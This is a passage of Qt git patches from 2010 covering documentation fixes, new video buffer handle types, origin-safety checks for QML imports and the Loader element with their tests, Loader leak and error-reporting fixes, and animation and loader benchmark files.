+148,7 @@ private: Q_PRIVATE_SLOT(d_func(), void _q_networkSessionClosed()) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionNewConfigurationActivated()) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionPreferredConfigurationChanged(QNetworkConfiguration,bool)) - Q_PRIVATE_SLOT(d_func(), void _q_networkSessionStateChanged(QNetworkSession::State)); + Q_PRIVATE_SLOT(d_func(), void _q_networkSessionStateChanged(QNetworkSession::State)) }; QT_END_NAMESPACE -- cgit v0.12 From 213990335e42727d4eaa6753e6b71b3c9cfe85d5 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 24 Mar 2010 10:32:09 +1000 Subject: Doc: ids start with lowercase --- src/declarative/util/qdeclarativelistmodel.cpp | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 340e9ac..3e25234 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -401,7 +401,7 @@ void QDeclarativeListModel::remove(int index) values in \a dict. \code - FruitModel.insert(2, {"cost": 5.95, "name":"Pizza"}) + fruitModel.insert(2, {"cost": 5.95, "name":"Pizza"}) \endcode The \a index must be to an existing item in the list, or one past @@ -437,7 +437,7 @@ void QDeclarativeListModel::insert(int index, const QScriptValue& valuemap) to the end of the list: \code - FruitModel.move(0,FruitModel.count-3,3) + fruitModel.move(0,fruitModel.count-3,3) \endcode \sa append() @@ -479,7 +479,7 @@ void QDeclarativeListModel::move(int from, int to, int n) values in \a dict. \code - FruitModel.append({"cost": 5.95, "name":"Pizza"}) + fruitModel.append({"cost": 5.95, "name":"Pizza"}) \endcode \sa set() remove() @@ -500,8 +500,8 @@ void QDeclarativeListModel::append(const QScriptValue& valuemap) Returns the item at \a index in the list model. \code - FruitModel.append({"cost": 5.95, "name":"Jackfruit"}) - FruitModel.get(0).cost + fruitModel.append({"cost": 5.95, "name":"Jackfruit"}) + fruitModel.get(0).cost \endcode The \a index must be an element in the list. @@ -510,10 +510,10 @@ void QDeclarativeListModel::append(const QScriptValue& valuemap) will also be models, and this get() method is used to access elements: \code - FruitModel.append(..., "attributes": + fruitModel.append(..., "attributes": [{"name":"spikes","value":"7mm"}, {"name":"color","value":"green"}]); - FruitModel.get(0).attributes.get(1).value; // == "green" + fruitModel.get(0).attributes.get(1).value; // == "green" \endcode \sa append() @@ -536,7 +536,7 @@ QScriptValue QDeclarativeListModel::get(int index) const are left unchanged. \code - FruitModel.set(3, {"cost": 5.95, "name":"Pizza"}) + fruitModel.set(3, {"cost": 5.95, "name":"Pizza"}) \endcode The \a index must be an element in the list. @@ -574,7 +574,7 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap) Changes the \a property of the item at \a index in the list model to \a value. \code - FruitModel.set(3, "cost", 5.95) + fruitModel.set(3, "cost", 5.95) \endcode The \a index must be an element in the list. -- cgit v0.12 From 8f01952fcc062ad042601d75a994b43ee289ac0f Mon Sep 17 00:00:00 2001 From: Anders Bakken Date: Tue, 23 Mar 2010 17:56:47 -0700 Subject: Doc update for QSpinBox::textFromValue We remove the group separator so the docs should reflect this. Reviewed-by: Donald Carr --- src/gui/widgets/qspinbox.cpp | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/src/gui/widgets/qspinbox.cpp b/src/gui/widgets/qspinbox.cpp index 726426d..2d871d0 100644 --- a/src/gui/widgets/qspinbox.cpp +++ b/src/gui/widgets/qspinbox.cpp @@ -448,11 +448,12 @@ void QSpinBox::setRange(int minimum, int maximum) } /*! - This virtual function is used by the spin box whenever it needs - to display the given \a value. The default implementation returns - a string containing \a value printed in the standard way using - QWidget::locale().toString(). Reimplementations may return anything. (See - the example in the detailed description.) + This virtual function is used by the spin box whenever it needs to + display the given \a value. The default implementation returns a + string containing \a value printed in the standard way using + QWidget::locale().toString(), but with the thousand separator + removed. Reimplementations may return anything. (See the example + in the detailed description.) Note: QSpinBox does not call this function for specialValueText() and that neither prefix() nor suffix() should be included in the @@ -461,7 +462,7 @@ void QSpinBox::setRange(int minimum, int maximum) If you reimplement this, you may also need to reimplement valueFromText() and validate() - \sa valueFromText(), validate() + \sa valueFromText(), validate(), QLocale::groupSeparator() */ QString QSpinBox::textFromValue(int value) const @@ -869,7 +870,7 @@ void QDoubleSpinBox::setDecimals(int decimals) If you reimplement this, you may also need to reimplement valueFromText(). - \sa valueFromText() + \sa valueFromText(), QLocale::groupSeparator() */ -- cgit v0.12 From ba2daf7d948f740cd9ada2a26249ebbf76f5ca12 Mon Sep 17 00:00:00 2001 From: Dmytro Poplavskiy Date: Wed, 24 Mar 2010 10:57:56 +1000 Subject: Added extra video buffer handle types. XvShmImageHandle for XVideo shared memory image on X11 and and CoreImageHandle for CIImage on Mac OS X. Reviewed-by: Justin McPherson --- src/multimedia/video/qabstractvideobuffer.cpp | 2 ++ src/multimedia/video/qabstractvideobuffer.h | 2 ++ 2 files changed, 4 insertions(+) diff --git a/src/multimedia/video/qabstractvideobuffer.cpp b/src/multimedia/video/qabstractvideobuffer.cpp index 465a1e7..e9d30d0 100644 --- a/src/multimedia/video/qabstractvideobuffer.cpp +++ b/src/multimedia/video/qabstractvideobuffer.cpp @@ -71,6 +71,8 @@ QT_BEGIN_NAMESPACE \value NoHandle The buffer has no handle, its data can only be accessed by mapping the buffer. \value GLTextureHandle The handle of the buffer is an OpenGL texture ID. + \value XvShmImageHandle The handle contains pointer to shared memory XVideo image. + \value CoreImageHandle The handle contains pointer to Mac OS X CIImage. \value UserHandle Start value for user defined handle types. \sa handleType() diff --git a/src/multimedia/video/qabstractvideobuffer.h b/src/multimedia/video/qabstractvideobuffer.h index 4ffa46f..a8389db 100644 --- a/src/multimedia/video/qabstractvideobuffer.h +++ b/src/multimedia/video/qabstractvideobuffer.h @@ -61,6 +61,8 @@ public: { NoHandle, GLTextureHandle, + XvShmImageHandle, + CoreImageHandle, UserHandle = 1000 }; -- cgit v0.12 From 4d82dd604c4f6aedbf3ed0eabcf89d3dca3d0a88 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Wed, 24 Mar 2010 13:03:19 +1000 Subject: Origin safety testing for imported resources. Extends upon 95aa8c8fc76e2309a629b05994a2677b0887140b. Still under discussion. --- .../graphicsitems/qdeclarativeloader.cpp | 5 ++- .../qml/qdeclarativecompositetypemanager.cpp | 13 +++++++ src/declarative/qml/qdeclarativecontext.cpp | 14 +------ src/declarative/qml/qdeclarativeengine.cpp | 27 ++++++++++++++ src/declarative/qml/qdeclarativeengine.h | 2 + .../tst_qdeclarativelanguage.cpp | 43 +++++++++++++++++++++- .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 2 +- 7 files changed, 91 insertions(+), 15 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 3cbafd6..c0d316f 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -42,6 +42,7 @@ #include "qdeclarativeloader_p_p.h" #include +#include QT_BEGIN_NAMESPACE @@ -185,8 +186,10 @@ void QDeclarativeLoader::setSource(const QUrl &url) if (d->source == url) return; - if (!qmlContext(this)->isSafeOrigin(url)) + if (!qmlContext(this)->isSafeOrigin(url)) { + qmlInfo(this) << tr("\"%1\" is not a safe origin from \"%2\"").arg(url).arg(qmlContext(this)->baseUrl()); return; + } d->clear(); diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index c59e5e2..5160514 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -539,6 +539,19 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData foreach (QDeclarativeScriptParser::Import imp, unit->data.imports()) { + if (imp.type != QDeclarativeScriptParser::Import::Library && !engine->isSafeOrigin(QUrl(imp.uri), unit->imports.baseUrl())) { + QDeclarativeError error; + error.setUrl(unit->imports.baseUrl()); + error.setDescription(tr("\"%1\" is not a safe origin").arg(imp.uri)); + error.setLine(imp.location.start.line); + error.setColumn(imp.location.start.column); + unit->status = QDeclarativeCompositeTypeData::Error; + unit->errorType = QDeclarativeCompositeTypeData::GeneralError; + unit->errors << error; + doComplete(unit); + return 0; + } + QDeclarativeDirComponents qmldircomponentsnetwork; if (imp.type == QDeclarativeScriptParser::Import::Script) continue; diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index ab3849a..f801a88 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -363,18 +363,8 @@ QVariant QDeclarativeContext::contextProperty(const QString &name) const bool QDeclarativeContext::isSafeOrigin(const QUrl &src) const { - if (src.isRelative()) - return true; - if (src.scheme()==QLatin1String("https")) - return true; - - QUrl base = baseUrl(); - if (src.host() == base.host() && src.port() == base.port()) // including files (with no host) - return true; - - qWarning() << src << "is not a safe origin from" << base; - - return false; + Q_D(const QDeclarativeContext); + return !d->data->engine || d->data->engine->isSafeOrigin(src, baseUrl()); } /*! diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index d4872e2..d7f30d7 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1883,6 +1883,33 @@ QString QDeclarativeEngine::offlineStoragePath() const } /*! + Returns whether \a to_url is considered safe content when reference by + content at \a from_url. + + The default implementation implements: + + \list + \i Relative URLs are safe + \i https content is safe + \i URLs from the same host and port are safe (including no-host) + \endlist + + You should consider whether this convention is adequate for your pareticular application. +*/ +bool QDeclarativeEngine::isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const +{ + if (to_url.isRelative()) + return true; + if (to_url.scheme()==QLatin1String("https")) + return true; + + if (to_url.host() == from_url.host() && to_url.port() == from_url.port()) // including files (with no host) + return true; + + return false; +} + +/*! \internal Returns the result of the merge of \a baseName with \a dir, \a suffixes, and \a prefix. diff --git a/src/declarative/qml/qdeclarativeengine.h b/src/declarative/qml/qdeclarativeengine.h index 19e81b6..5c70b18 100644 --- a/src/declarative/qml/qdeclarativeengine.h +++ b/src/declarative/qml/qdeclarativeengine.h @@ -102,6 +102,8 @@ public: static void setObjectOwnership(QObject *, ObjectOwnership); static ObjectOwnership objectOwnership(QObject *); + virtual bool isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const; + Q_SIGNALS: void quit (); diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 72b6b28..b6bd3f8 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -53,6 +53,19 @@ #include "../../../shared/util.h" +class SafeLocalhostDeclarativeEngine : public QDeclarativeEngine { +public: + SafeLocalhostDeclarativeEngine() : QDeclarativeEngine() {} + + virtual bool isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const + { + if (to_url.host() == "127.0.0.1") + return true; + else + return QDeclarativeEngine::isSafeOrigin(to_url,from_url); + } +}; + /* This test case covers QML language issues. This covers everything that does not involve evaluating ECMAScript expressions and bindings. @@ -121,6 +134,7 @@ private slots: void importsLocal(); void importsRemote_data(); void importsRemote(); + void importsUnsafe(); void importsInstalled_data(); void importsInstalled(); void importsOrder_data(); @@ -135,7 +149,7 @@ private slots: void crash2(); private: - QDeclarativeEngine engine; + SafeLocalhostDeclarativeEngine engine; void testType(const QString& qml, const QString& type); }; @@ -1262,6 +1276,33 @@ void tst_qdeclarativelanguage::importsRemote() testType(qml,type); } +void tst_qdeclarativelanguage::importsUnsafe() +{ + TestHTTPServer server(14445); + server.serveDirectory(SRCDIR); + + QString qml = "import \"http://127.0.0.1:14445/qtest/declarative/qmllanguage\"\n\nTest {}"; + + { + QDeclarativeEngine engine; // plain engine without special localhost handling + QDeclarativeComponent component(&engine); + component.setData(qml.toUtf8(), TEST_FILE("empty.qml")); // just a file for relative local imports + + QTRY_VERIFY(!component.isLoading()); + + QVERIFY(component.isError()); + } + + { + QDeclarativeComponent component(&engine); // engine special localhost handling + component.setData(qml.toUtf8(), TEST_FILE("empty.qml")); // just a file for relative local imports + + QTRY_VERIFY(!component.isLoading()); + + QVERIFY(!component.isError()); + } +} + void tst_qdeclarativelanguage::importsInstalled_data() { // QT-610 diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 0deac3a..f27c1ce 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -491,7 +491,7 @@ void tst_QDeclarativeLoader::networkSafety_data() QTest::addColumn("message"); QTest::newRow("same origin") << QUrl("http://127.0.0.1:14445/sameorigin.qml") << QString(); - QTest::newRow("different origin") << QUrl("http://127.0.0.1:14445/differentorigin.qml") << QString(" QUrl( \"http://evil.place/evil.qml\" ) is not a safe origin from QUrl( \"http://127.0.0.1:14445/differentorigin.qml\" ) "); + QTest::newRow("different origin") << QUrl("http://127.0.0.1:14445/differentorigin.qml") << QString("QML Loader (http://127.0.0.1:14445/differentorigin.qml:3:1) \"http://evil.place/evil.qml\" is not a safe origin from \"http://127.0.0.1:14445/differentorigin.qml\""); } void tst_QDeclarativeLoader::networkSafety() -- cgit v0.12 From 738c3a68e5ebe8051234ba17a15f2e0585f3d722 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 23 Mar 2010 16:12:38 +1000 Subject: Animation construction optimization. Use setParent_NoEvent when parenting to group. --- src/declarative/util/qdeclarativeanimation.cpp | 2 +- .../qdeclarativetime/tests/animation/large.qml | 41 ++++++++++++++++++++++ .../tests/animation/largeNoProps.qml | 41 ++++++++++++++++++++++ 3 files changed, 83 insertions(+), 1 deletion(-) create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index 1fb3d99..bead842 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -1318,8 +1318,8 @@ void QDeclarativeAnimationGroupPrivate::append_animation(QDeclarativeListPropert { QDeclarativeAnimationGroup *q = qobject_cast(list->object); if (q) { - q->d_func()->animations.append(a); a->setGroup(q); + QDeclarative_setParent_noEvent(a->qtAnimation(), q->d_func()->ag); q->d_func()->ag->addAnimation(a->qtAnimation()); } } diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml new file mode 100644 index 0000000..978e3bf --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { duration: 500 } + NumberAnimation { duration: 4000; } + NumberAnimation { duration: 2000; easing.type: "OutBack"} + ColorAnimation { duration: 3000} + SequentialAnimation { + PauseAnimation { duration: 1000 } + ScriptAction { script: doSomething(); } + PauseAnimation { duration: 800 } + ScriptAction { script: doSomethingElse(); } + PauseAnimation { duration: 800 } + ParallelAnimation { + NumberAnimation { duration: 200;} + SequentialAnimation { + PauseAnimation { duration: 200} + ParallelAnimation { + NumberAnimation { duration: 300;} + NumberAnimation { duration: 300;} + } + NumberAnimation { from: 0; to: 1; duration: 500 } + PauseAnimation { duration: 200 } + NumberAnimation { from: 1; to: 0; duration: 500 } + } + SequentialAnimation { + PauseAnimation { duration: 150} + NumberAnimation { duration: 300; easing.type: "OutBounce" } + } + } + } + } + } + } + +} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml new file mode 100644 index 0000000..cceb3f4 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + NumberAnimation { } + ColorAnimation { } + SequentialAnimation { + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + SequentialAnimation { + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + } + NumberAnimation { } + PauseAnimation { } + NumberAnimation { } + } + SequentialAnimation { + PauseAnimation { } + NumberAnimation { } + } + } + } + } + } + } + +} -- cgit v0.12 From 30275dfcb8c5303de201bc32fba2a6b9b26fa1cd Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 11:25:32 +1000 Subject: Use setParent_NoEvent in Loader and benchmark Loader performance. --- src/declarative/graphicsitems/qdeclarativeloader.cpp | 5 +++-- .../declarative/qdeclarativetime/tests/loader/Loaded.qml | 7 +++++++ .../qdeclarativetime/tests/loader/component_loader.qml | 16 ++++++++++++++++ .../qdeclarativetime/tests/loader/empty_loader.qml | 15 +++++++++++++++ .../qdeclarativetime/tests/loader/no_loader.qml | 14 ++++++++++++++ .../qdeclarativetime/tests/loader/source_loader.qml | 16 ++++++++++++++++ 6 files changed, 71 insertions(+), 2 deletions(-) create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index c0d316f..544e9ec 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -41,8 +41,9 @@ #include "qdeclarativeloader_p_p.h" -#include #include +#include +#include QT_BEGIN_NAMESPACE @@ -302,7 +303,7 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() return; } if (obj) { - ctxt->setParent(obj); + QDeclarative_setParent_noEvent(ctxt, obj); item = qobject_cast(obj); if (item) { if (QDeclarativeItem* qmlItem = qobject_cast(item)) { diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml new file mode 100644 index 0000000..6f8d849 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Item { + Rectangle {} + Text {} + Image {} +} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml new file mode 100644 index 0000000..270add4 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loader { + sourceComponent: Loaded {} + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml new file mode 100644 index 0000000..d3b84cc --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml @@ -0,0 +1,15 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loader {} + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml new file mode 100644 index 0000000..a94a12a --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml @@ -0,0 +1,14 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml new file mode 100644 index 0000000..39ed1a6 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loader { + source: "Loaded.qml" + } + } + } + } +} + -- cgit v0.12 From 364f6c200a6faac825c7f1e0158d708fc60a8ff5 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 12:42:04 +1000 Subject: Fix Loader leak when loading a non-QGraphicsObject object. --- src/declarative/graphicsitems/qdeclarativeloader.cpp | 6 +++++- tests/auto/declarative/qdeclarativeloader/data/nonItem.qml | 5 +++++ .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 13 +++++++++++++ 3 files changed, 23 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativeloader/data/nonItem.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 544e9ec..4301467 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -303,9 +303,9 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() return; } if (obj) { - QDeclarative_setParent_noEvent(ctxt, obj); item = qobject_cast(obj); if (item) { + QDeclarative_setParent_noEvent(ctxt, obj); if (QDeclarativeItem* qmlItem = qobject_cast(item)) { qmlItem->setParentItem(q); } else { @@ -314,6 +314,10 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() } // item->setFocus(true); initResize(); + } else { + qmlInfo(q) << QDeclarativeLoader::tr("Loader does not support loading non-visual elements."); + delete obj; + delete ctxt; } } else { delete obj; diff --git a/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml new file mode 100644 index 0000000..f42c1d5 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml @@ -0,0 +1,5 @@ +import Qt 4.6 + +Loader { + sourceComponent: QtObject {} +} diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index f27c1ce..7123dda 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -91,6 +91,7 @@ private slots: // void networkComponent(); void deleteComponentCrash(); + void nonItem(); private: QDeclarativeEngine engine; @@ -485,6 +486,18 @@ void tst_QDeclarativeLoader::deleteComponentCrash() delete item; } +void tst_QDeclarativeLoader::nonItem() +{ + QSKIP("QTBUG-9245", SkipAll); + QDeclarativeComponent component(&engine, TEST_FILE("/nonItem.qml")); + QTest::ignoreMessage(QtWarningMsg, "QML Loader (file://" SRCDIR "/data/nonItem.qml:3:1) Loader does not support loading non-visual elements."); + QDeclarativeLoader *loader = qobject_cast(component.create()); + QVERIFY(loader); + QVERIFY(loader->item() == 0); + + delete loader; +} + void tst_QDeclarativeLoader::networkSafety_data() { QTest::addColumn("url"); -- cgit v0.12 From 50fe8dbed3adae3606bd2c32868821119b4f2808 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 13:17:44 +1000 Subject: Output all Loader errors. Previously we were not outputting those that occurred on component->create(). --- src/declarative/graphicsitems/qdeclarativeloader.cpp | 2 ++ .../declarative/qdeclarativeloader/data/VmeError.qml | 7 +++++++ .../declarative/qdeclarativeloader/data/vmeErrors.qml | 6 ++++++ .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 18 ++++++++++++++---- 4 files changed, 29 insertions(+), 4 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeloader/data/VmeError.qml create mode 100644 tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 4301467..2149da8 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -320,6 +320,8 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() delete ctxt; } } else { + if (!component->errors().isEmpty()) + qWarning() << component->errors(); delete obj; delete ctxt; source = QUrl(); diff --git a/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml new file mode 100644 index 0000000..da4f6cb --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Rectangle { + width: 100; height: 100; color: "red" + signal somethingHappened + onSomethingHappened: QtObject {} +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml new file mode 100644 index 0000000..782562b --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml @@ -0,0 +1,6 @@ +import Qt 4.6 + +Loader { + source: "VmeError.qml" +} + diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 7123dda..506e1ee 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -92,6 +92,7 @@ private slots: void deleteComponentCrash(); void nonItem(); + void vmeErrors(); private: QDeclarativeEngine engine; @@ -467,7 +468,7 @@ void tst_QDeclarativeLoader::failNetworkRequest() // QTBUG-9241 void tst_QDeclarativeLoader::deleteComponentCrash() { - QDeclarativeComponent component(&engine, TEST_FILE("/crash.qml")); + QDeclarativeComponent component(&engine, TEST_FILE("crash.qml")); QDeclarativeItem *item = qobject_cast(component.create()); QVERIFY(item); @@ -480,7 +481,6 @@ void tst_QDeclarativeLoader::deleteComponentCrash() QCOMPARE(loader->progress(), 1.0); QCOMPARE(loader->status(), QDeclarativeLoader::Ready); QCOMPARE(static_cast(loader)->children().count(), 1); - QEXPECT_FAIL("", "QTBUG-9245", Continue); QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/BlueRect.qml")); delete item; @@ -488,8 +488,7 @@ void tst_QDeclarativeLoader::deleteComponentCrash() void tst_QDeclarativeLoader::nonItem() { - QSKIP("QTBUG-9245", SkipAll); - QDeclarativeComponent component(&engine, TEST_FILE("/nonItem.qml")); + QDeclarativeComponent component(&engine, TEST_FILE("nonItem.qml")); QTest::ignoreMessage(QtWarningMsg, "QML Loader (file://" SRCDIR "/data/nonItem.qml:3:1) Loader does not support loading non-visual elements."); QDeclarativeLoader *loader = qobject_cast(component.create()); QVERIFY(loader); @@ -498,6 +497,17 @@ void tst_QDeclarativeLoader::nonItem() delete loader; } +void tst_QDeclarativeLoader::vmeErrors() +{ + QDeclarativeComponent component(&engine, TEST_FILE("vmeErrors.qml")); + QTest::ignoreMessage(QtWarningMsg, "(file://" SRCDIR "/data/VmeError.qml:6: Cannot assign object type QObject with no default method\n onSomethingHappened: QtObject {}) "); + QDeclarativeLoader *loader = qobject_cast(component.create()); + QVERIFY(loader); + QVERIFY(loader->item() == 0); + + delete loader; +} + void tst_QDeclarativeLoader::networkSafety_data() { QTest::addColumn("url"); -- cgit v0.12 From d33d30719d3c17fc1505e1b508999c76c6abc6b4 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 13:34:14 +1000 Subject: Make compile. --- src/declarative/graphicsitems/qdeclarativeloader.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 2149da8..c06b006 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -188,7 +188,7 @@ void QDeclarativeLoader::setSource(const QUrl &url) return; if (!qmlContext(this)->isSafeOrigin(url)) { - qmlInfo(this) << tr("\"%1\" is not a safe origin from \"%2\"").arg(url).arg(qmlContext(this)->baseUrl()); + qmlInfo(this) << tr("\"%1\" is not a safe origin from \"%2\"").arg(url.toString()).arg(qmlContext(this)->baseUrl().toString()); return; } -- cgit v0.12 From 50e3f9dba978709c35c869ccaa8345719f23deb1 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 